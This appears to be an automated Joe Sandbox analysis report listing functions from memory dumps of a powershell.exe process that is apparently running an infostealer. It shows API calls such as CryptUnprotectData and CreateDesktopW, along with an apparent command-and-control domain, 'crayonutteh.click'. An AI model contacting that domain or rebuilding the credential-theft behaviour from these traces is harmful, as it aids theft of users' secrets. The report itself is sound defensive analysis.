Instruction ID: baa3185a71be9cbc9101513991f0a0928b512542bfa62c7e980971db4d1927b8
Opcode Fuzzy Hash: 5c7d7465019c5dd257642e969deff2b39cfc9251d843fd1c1479f0d8bf7eae5d
Instruction Fuzzy Hash: AB41EAB0E04258CFEB14CFA6C8547AEBBF6AF89305F14C0AAD459B7255DB740985CF50

Function 07977922 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229152576ddb465a4e3e0f6fb82365606fabd949d31ded66d0bf20615017aec8
Instruction ID: 7f7f8a8297fd6619d903cc4017f9ea4ee88fa70706568d6db2958d7a4c78af1d
Opcode Fuzzy Hash: 229152576ddb465a4e3e0f6fb82365606fabd949d31ded66d0bf20615017aec8
Instruction Fuzzy Hash: 664150B1E05A188BEB5CCF6B8D4069AFAF7AFC9301F14C4BAC44CAA254DB7005868F41

Function 07970006 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe8401548af5af1da73b2a413b6517b24d8aa230d770830117258150e7026f7
Instruction ID: 7a0aab40b6ae8980aaeecd0d8c8ada2e695c72809a8ba4eb835ad41e7924667b
Opcode Fuzzy Hash: dbe8401548af5af1da73b2a413b6517b24d8aa230d770830117258150e7026f7
Instruction Fuzzy Hash: 2E31FEB1D057548FDB1ACF279C002DABBF7AFC9214F08C0EAD448AA155DB740A86CF11

Function 07A1DDB0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041936015.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc9dbb90c8dca888a245daa2fd59b41571133005a42e467efbac17f0f76269d
Instruction ID: 61d095f1a5e9f69e33225d448caacf0ac9a5bafb366a0faa7497c66a98b34c3b
Opcode Fuzzy Hash: 8cc9dbb90c8dca888a245daa2fd59b41571133005a42e467efbac17f0f76269d
Instruction Fuzzy Hash: 5441D7B4E04218CFEB28CFA6C8447AEBBF6AB89305F14C0AAD459B7254DB745985CF50

Function 07005622 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033499224.0000000007000000.00000040.00000800.00020000.00000000.sdmp, Offset: 07000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e31ef8bcf24a85acccbdba988fe314e4a01864793e898cc262d24150422f3399
Instruction ID: 8d1ceef633a9c476cedd73868c084a91763e0fd4dde43ca0028e19922345ec5f
Opcode Fuzzy Hash: e31ef8bcf24a85acccbdba988fe314e4a01864793e898cc262d24150422f3399
Instruction Fuzzy Hash: 8431A6B1E016588BEB18CF6BC94878AFBF6AFC9300F14C1A9C44CAA254DB740A468F41

Function 079DD198 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b4010269d7c38efe3cee50ea35d704300f595e57f4e0a898d1c330e4cf44614
Instruction ID: 8b05c74b8242f00b092ae47fe724afb3502df90d609c3f2cfbe5855a6efacb16
Opcode Fuzzy Hash: 1b4010269d7c38efe3cee50ea35d704300f595e57f4e0a898d1c330e4cf44614
Instruction Fuzzy Hash: 9321A2B1E056189BEB18CF9BD9447DDFBF7AFC9304F04C16AD508AA258DBB409498F40

Function 0864E730 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7044731609.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8cce58e289492931362651d57755064bcbf255b46f7ff9e07586b2bed7585d
Instruction ID: fa2f2645f64311316c5fa8ee3347c261cf8523b15601716ac139d1667ec0aa00
Opcode Fuzzy Hash: fe8cce58e289492931362651d57755064bcbf255b46f7ff9e07586b2bed7585d
Instruction Fuzzy Hash: 5A21D871E056188BEB1CCF6B89402DDFAF7AFCD310F15D0AAD508AA219DB310A46CF55

Function 079DD188 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe86745f493ce08fb4ab4103bf81d1c8df768154ad018c9a8ec813e08ccf804c
Instruction ID: 816027a048879a2094c2946ac1321c1f856ea52c1cca0e5c4261b41df38a238c
Opcode Fuzzy Hash: fe86745f493ce08fb4ab4103bf81d1c8df768154ad018c9a8ec813e08ccf804c
Instruction Fuzzy Hash: A221A6B1D056589BEB18CFABD9447DDFBB7AFC9304F14C1AAC409AB254DBB409468F40

Function 079FB1E8 Relevance: 7.7, Strings: 6, Instructions: 155COMMON

Download Yara Rule

Strings

4'gr, xrefs: 079FB29C
(kr, xrefs: 079FB3B2
4'gr, xrefs: 079FB2BA
pkr, xrefs: 079FB33F
4'gr, xrefs: 079FB332
4'gr, xrefs: 079FB26C

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: (kr$4'gr$4'gr$4'gr$4'gr$pkr
API String ID: 0-3187026432
Opcode ID: 2fea60ef4740ef86df75d1dbaef29ecaa834fffbf68c7b5ea53d591a84b8606f
Instruction ID: 3179523d61de21c599fc7cb17a6f1659284ffd52d5356eefda894b98a2c7df25
Opcode Fuzzy Hash: 2fea60ef4740ef86df75d1dbaef29ecaa834fffbf68c7b5ea53d591a84b8606f
Instruction Fuzzy Hash: 2551D2B06013415FDB49EFB8DA517AFB7E7EFC4200F10852AC0459B7A5EB74AD028BA1

Function 076D0443 Relevance: 7.6, Strings: 6, Instructions: 79COMMON

Download Yara Rule

Strings

4'gr, xrefs: 076D04B7
4'gr, xrefs: 076D04AB
$gr, xrefs: 076D0512
4'gr, xrefs: 076D053F
4'gr, xrefs: 076D0533
$gr, xrefs: 076D051E

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$$gr$$gr
API String ID: 0-669359450
Opcode ID: f5de26d9aa05ba817bd3de1d3da30025a6dd261f98e4ace36a321a4223f0b1b6
Instruction ID: d9c2b4a31cbb5b911da04fb2d70f5f2a9314066a93fd7527abe93e7a5f2677d4
Opcode Fuzzy Hash: f5de26d9aa05ba817bd3de1d3da30025a6dd261f98e4ace36a321a4223f0b1b6
Instruction Fuzzy Hash: 38113AA1F293524FC66A153C3B316AA77979FC2570B7500ABC442CB3A6DD648C0643E2

Function 076DEBCD Relevance: 6.7, Strings: 5, Instructions: 488COMMON

Download Yara Rule

Strings

Pqgr, xrefs: 076DEC07
4'gr, xrefs: 076DF01A
4'gr, xrefs: 076DEF95
4'gr, xrefs: 076DEF89
4'gr, xrefs: 076DF00E

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$Pqgr
API String ID: 0-2682264726
Opcode ID: 3b37ae63747118d889683fbbde84681ddb539afdf98dc009153c96d98f0e174b
Instruction ID: 0a1beb707446661ccc901ace44dd82f9e4b909c1151dee11f87f492098c7471a
Opcode Fuzzy Hash: 3b37ae63747118d889683fbbde84681ddb539afdf98dc009153c96d98f0e174b
Instruction Fuzzy Hash: 45228EB4F002199FD724CB24C951BADB7A2EF85300F95C4AAD90AAF355CB71DD82CB91

Function 076DA6B8 Relevance: 6.4, Strings: 5, Instructions: 112COMMON

Download Yara Rule

Strings

TQlr, xrefs: 076DA879
TQlr, xrefs: 076DA715
tPgr, xrefs: 076DA7C1
4'gr, xrefs: 076DA8A9
4'gr, xrefs: 076DA76F

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$TQlr$TQlr$tPgr
API String ID: 0-1513803039
Opcode ID: 6bed7519876b79725f1fafe81b86d15fa5e86b2947ab6e69501347cd1289ccc7
Instruction ID: de6ee2a3b480340a85ce04df9dd76b7e9f3b6903ae7a8df7b42066d19e125a87
Opcode Fuzzy Hash: 6bed7519876b79725f1fafe81b86d15fa5e86b2947ab6e69501347cd1289ccc7
Instruction Fuzzy Hash: 2941B2B4E28205CBDB248EA5CA047A5B3B2EF81311F19C06AD8035B394C775DC82CB91

Function 079FAA78 Relevance: 5.3, Strings: 4, Instructions: 323COMMON

Download Yara Rule

Strings

(kr, xrefs: 079FAAD6
(kr, xrefs: 079FAAAA
Hkr, xrefs: 079FADC3
Hkr, xrefs: 079FAE2B

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: (kr$(kr$Hkr$Hkr
API String ID: 0-2661607275
Opcode ID: 883035ec467be5870fb5827e07ef37ed04d791fdd08590fb7ca388627fe18214
Instruction ID: bcc5790ebe782ee1796f96c683549e7adecc5b7a4ba5c35e177cdad576ec8cda
Opcode Fuzzy Hash: 883035ec467be5870fb5827e07ef37ed04d791fdd08590fb7ca388627fe18214
Instruction Fuzzy Hash: CEC1BFB07042459FDB05DF28C490B9E77E6EF8A314F158569E9098B3A8DB34EC42CBE1

Function 0703215F Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

4'gr, xrefs: 070323D1
4'gr, xrefs: 07032317
4'gr, xrefs: 070323BB
4'gr, xrefs: 0703232D

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr
API String ID: 0-430696719
Opcode ID: 07b1218d66b0b074292e54acd92b3cdce1c050f640c63f35f7805dea8b8d1f40
Instruction ID: 2b5a6f4c1d3ca5a77fdfbde1a2a16f19b57e577075863a9a5e95f16725b702e3
Opcode Fuzzy Hash: 07b1218d66b0b074292e54acd92b3cdce1c050f640c63f35f7805dea8b8d1f40
Instruction Fuzzy Hash: 7BC1B0B4B003199FDB54DB24C995B99B7B6FF85300F9085E9D509AB381CB319E82CF91

Function 076DB39D Relevance: 5.1, Strings: 4, Instructions: 124COMMON

Download Yara Rule

Strings

(ogr, xrefs: 076DB3EC
tPgr, xrefs: 076DB557
(ogr, xrefs: 076DB3E0
4'gr, xrefs: 076DB501

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: (ogr$(ogr$4'gr$tPgr
API String ID: 0-648009057
Opcode ID: 9aa18b5216971843f81979c381ce52508c6a82a2008f90b814c5eb7623f61719
Instruction ID: b063eac0f182ef8d4d2711a7a6bc4298d77310c320e415f2248a71fe2f2773c9
Opcode Fuzzy Hash: 9aa18b5216971843f81979c381ce52508c6a82a2008f90b814c5eb7623f61719
Instruction Fuzzy Hash: C54103F1E153418FDB24CF649544BAEBBA1AF86310F1A80AAD4199B399C731CC45C7A2

Function 079711FD Relevance: 5.1, Strings: 4, Instructions: 63COMMON

Download Yara Rule

Strings

=, xrefs: 079720CA
7, xrefs: 0797209E
M, xrefs: 0797016A
Q, xrefs: 07970192

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: 7$=$M$Q
API String ID: 0-2410862987
Opcode ID: 711ed591bba6bf00a1913cba44ae629c03b5a409107604fac209e45f630e9046
Instruction ID: 23576f6de5d7bb65d9e9c2def1bea12404fb3c40e744a6171aa3f5fbb1837511
Opcode Fuzzy Hash: 711ed591bba6bf00a1913cba44ae629c03b5a409107604fac209e45f630e9046
Instruction Fuzzy Hash: E031C4B4910229CFDB65DF28D889BADBBB5BB09309F5041EAE509A3340DB745E84CF00

Analysis Process: powershell.exePID: 7864, Parent PID: 5072COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.4%
Total number of Nodes:	436
Total number of Limit Nodes:	28

Executed Functions

Function 00436980 Relevance: 42.7, APIs: 12, Strings: 12, Instructions: 655
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00436BF0
SysAllocString.OLEAUT32(10401E4F), ref: 00436C79
CoSetProxyBlanket.COMBASE(CDC9F5CC,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00436CB6
SysAllocString.OLEAUT32(02B000B8), ref: 00436D1F
SysAllocString.OLEAUT32(105A1E4E), ref: 00436DE0
VariantInit.OLEAUT32(QJKL), ref: 00436E4B
VariantClear.OLEAUT32(?), ref: 00436FD2
SysFreeString.OLEAUT32(?), ref: 00436FE9
SysFreeString.OLEAUT32(00000000), ref: 00436FF3
SysFreeString.OLEAUT32(?), ref: 00436FF9
SysFreeString.OLEAUT32(00000000), ref: 0043700A
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437045

Strings

8e, xrefs: 00436B3C
, xrefs: 0043713E, 00437142
vW}Z, xrefs: 00437090
n)`, xrefs: 00436D47
zW}Z, xrefs: 004370C0
7v.H, xrefs: 00436D77
3b<d, xrefs: 00436D4F
{@8#, xrefs: 00436BB8
MN, xrefs: 00436D87
QJKL, xrefs: 004369CB, 00436A78
0j6l, xrefs: 00436C16
)MNO, xrefs: 00436A27

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: n)`$)MNO$0j6l$3b<d$7v.H$8e$MN$QJKL$vW}Z$zW}Z${@8#$
API String ID: 1341229144-1928758774
Opcode ID: e5f7feb958a2fba7e1dba6e17a6dafd2a0e28881f2d43109f9219ad7023b5c9c
Instruction ID: 6c0b44996c03eb0e40192bf62832c839fb6e79de9a0b651ada1dc03bcec214e4
Opcode Fuzzy Hash: e5f7feb958a2fba7e1dba6e17a6dafd2a0e28881f2d43109f9219ad7023b5c9c
Instruction Fuzzy Hash: 79120D72A08351ABD310CF64C880B6BBBE5EFC9314F15892DE9D5AB390D779D805CB86

Function 0041D400 Relevance: 25.4, APIs: 1, Strings: 13, Instructions: 881
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,?,?,?), ref: 0041D493

Strings

[\V, xrefs: 0041D796
dein, xrefs: 0041D76E
9./`, xrefs: 0041D7EE
qcce, xrefs: 0041DAD0
*;, xrefs: 0041D7DE
_66N, xrefs: 0041D78E
lg, xrefs: 0041D838
1nnh, xrefs: 0041D82D
hl, xrefs: 0041DD56
boaa, xrefs: 0041DAC8
U, xrefs: 0041DAD8
GAWJ, xrefs: 0041D79E
w, xrefs: 0041DD5D

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: getaddrinfo
String ID: *;$1nnh$9./`$GAWJ$U$[\V$_66N$boaa$dein$hl$lg$qcce$w
API String ID: 300660673-714444217
Opcode ID: ed7ef712cb8c7cfe3f3467f32c9fd67e7ec30aa87b7bd7ba05b730d3aabe241a
Instruction ID: dd8b33ae5b7dd411e3d241eda01dfc98351f3dc95584a99a473f0adb86a77f16
Opcode Fuzzy Hash: ed7ef712cb8c7cfe3f3467f32c9fd67e7ec30aa87b7bd7ba05b730d3aabe241a
Instruction Fuzzy Hash: 3C524BB190C3508FC725DF28C8407AFBBE1AF96304F08867EE8E59B392D6399945C756

Function 00415211 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 450
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004154F7

Strings

&*82, xrefs: 00415550
<9++, xrefs: 0041555B
]YA, xrefs: 00415957

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: &*82$<9++$]YA
API String ID: 834300711-3660485890
Opcode ID: b0ab6e4edadb6ba3b6159e872e73a060c1e17b5b241ecb9d5827d5b74db0d508
Instruction ID: f8006e6d85f6fd1f6e886fc3354e934eae3bf83ba45ce965c2848f49bcc84732
Opcode Fuzzy Hash: b0ab6e4edadb6ba3b6159e872e73a060c1e17b5b241ecb9d5827d5b74db0d508
Instruction Fuzzy Hash: 3EE1F1B16087818FC721DF28C8957EBB7E1BFD5314F18892DE4D987392E73888458B56

Function 0042BA22 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 493
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042BB25

Strings

6, xrefs: 0042C041
<], xrefs: 0042BA6A

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: FreeLibrary
String ID: 6$<]
API String ID: 3664257935-2909389547
Opcode ID: 621842a93ff8ced0cfeaf9eb3e87c0fe3c4dcd6c2d54c0bdc1c65954fa12966e
Instruction ID: 1cec2e3dc27d3c0ec5f885a97094761a0063ba2d9d4689993bd0c37c1048aab9
Opcode Fuzzy Hash: 621842a93ff8ced0cfeaf9eb3e87c0fe3c4dcd6c2d54c0bdc1c65954fa12966e
Instruction Fuzzy Hash: 2EE1013160C3D18AE7358F3598517ABBBD2EFD6304F5888AEC0C997283DB794446CB66

Function 0040D76F Relevance: 4.9, APIs: 1, Strings: 2, Instructions: 363COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040D77F

Strings

crayonutteh.click, xrefs: 0040DB63
w@1, xrefs: 0040DA97

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: Uninitialize
String ID: w@1$crayonutteh.click
API String ID: 3861434553-1816128692
Opcode ID: 5a6ede36d1b718381f70dc6588da170c6f117ba54a0749e40254c653adb2b4a0
Instruction ID: 288dab4d58a3fd278ea9672a9f37133dfa3051a537b2e867f60eae80fc95dafa
Opcode Fuzzy Hash: 5a6ede36d1b718381f70dc6588da170c6f117ba54a0749e40254c653adb2b4a0
Instruction Fuzzy Hash: BFB123B5504B818FD715CF6AC490622BFE2FF92314B1985AEC4D29F7A2C778E806CB54

Function 0041A430 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

CreateDesktopW.USER32(797F73E2,00000000,00000000,00000000,000F00C7,00000000), ref: 0041A6F9

Strings

_, xrefs: 0041A51C

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: CreateDesktop
String ID: _
API String ID: 3054513912-701932520
Opcode ID: a8f4536af9795b3da800aa3cec4c419f2d4bfa161ba62daae47bbba1f9e33d48
Instruction ID: 5540313c953f4fa5603a50f7c40a1cb6860a995fba07026fc7ca9c3db1bd6b03
Opcode Fuzzy Hash: a8f4536af9795b3da800aa3cec4c419f2d4bfa161ba62daae47bbba1f9e33d48
Instruction Fuzzy Hash: 326108166046900ADB2CDF74849233BBEE69F44308F2991FFCA55CF697E5398513874A

Function 0043B1C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D3E8,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B1EE

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00430528 Relevance: 28.2, APIs: 1, Strings: 15, Instructions: 161
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 004305A6

Strings

6, xrefs: 0043068F
0, xrefs: 0043084C
h, xrefs: 004306BF
[, xrefs: 00430540
(, xrefs: 0043061F
@, xrefs: 0043054A
/, xrefs: 004305BF
z, xrefs: 0043072F
,, xrefs: 0043063F
w, xrefs: 004306CF
t, xrefs: 004306AF
v, xrefs: 004306DF
;, xrefs: 004305CF
, xrefs: 0043062F
_, xrefs: 00430536

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: $($,$/$0$6$;$@$[$_$h$t$v$w$z
API String ID: 2525500382-1320459350
Opcode ID: 74759230622c1fafdad58b18693dc4f0910fa6fc7d58cf1eee3d6dee53592b83
Instruction ID: e1250cad9f459cde51c8b94f344e925a183d72e4e1eb9be8baf593ca54fff1fc
Opcode Fuzzy Hash: 74759230622c1fafdad58b18693dc4f0910fa6fc7d58cf1eee3d6dee53592b83
Instruction Fuzzy Hash: 4191052150C7D18EE332C73C884879BBED15BA7228F084B9EE4ED5B2D2D7B945058767

Function 004087A0 Relevance: 7.5, APIs: 5, Instructions: 27
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004087B8
GetCurrentThreadId.KERNEL32 ref: 004087BE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087CD
GetForegroundWindow.USER32(?,00000010,00000000), ref: 004087D3

Part of subcall function 0040B510: FreeLibrary.KERNEL32(004087F9,00000010,00000000), ref: 0040B516
Part of subcall function 0040B510: FreeLibrary.KERNEL32 ref: 0040B537

ExitProcess.KERNEL32 ref: 00408800

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 21bd698dd96b649f409366f4b954b77aa43a9efba90f2450923aa7d9f6643372
Instruction ID: efc7088809ba8cf20e2d707f0df16ced709f8c36e2f02579ccc9f0a6e44102c5
Opcode Fuzzy Hash: 21bd698dd96b649f409366f4b954b77aa43a9efba90f2450923aa7d9f6643372
Instruction Fuzzy Hash: 99E065B464030066D9507BE29D0B71836109F0670BF14143EBBC46E2DBDE7D2498857F

Function 0043AEC5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 0043AF78

Strings

|}~, xrefs: 0043AEF3
#xz, xrefs: 0043AEEB

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID: #xz$|}~
API String ID: 1029625771-3181759514
Opcode ID: 663d1f37cba9ae336453a67d969d0eadb23e5ceb7d3a620db317f36db9321fd2
Instruction ID: 9d6fd7f183629d6f5671af56f8e4d61466d5997296eac2cb3b52d42b2c6829cf
Opcode Fuzzy Hash: 663d1f37cba9ae336453a67d969d0eadb23e5ceb7d3a620db317f36db9321fd2
Instruction Fuzzy Hash: FC21A17664C3058FD708DF68CC9179AB7E1EB86200F04883DA991C7395E674E50EDB5A

Function 00433E3B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00433E77

Strings

]AFG, xrefs: 00433EAB

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: ]AFG
API String ID: 95929093-669045540
Opcode ID: 4679b5e216c382fe734f1540f62582b300b0f6a024146c0e33c0681eb5952257
Instruction ID: 5efb7c02271164443452c92132bb36d5d815bba63d7bab123c99ea9d2f26bed1
Opcode Fuzzy Hash: 4679b5e216c382fe734f1540f62582b300b0f6a024146c0e33c0681eb5952257
Instruction Fuzzy Hash: 3721A170A042948BCB29CF39DD9439E7BB25F9A304F1481EDD44EA3381CB384A858B15

Function 0040C726 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C72A
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C877

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 05c4c1416ea442637c99b95b2e70e57e8ad7658d526ce65787b2e92417fc1243
Instruction ID: 7c48f2d6d9308c2411c64d4738aed0816c10745a2db0d8d39336d96daee36388
Opcode Fuzzy Hash: 05c4c1416ea442637c99b95b2e70e57e8ad7658d526ce65787b2e92417fc1243
Instruction Fuzzy Hash: 9541C7B4D10B40AFD370EF399A0B7137EB4AB05250F504B1EF9EA866D4E631A4198BD7

Function 0040C8CA Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8DC
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C902

Memory Dump Source

Source File: 00000007.00000002.7353958261.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
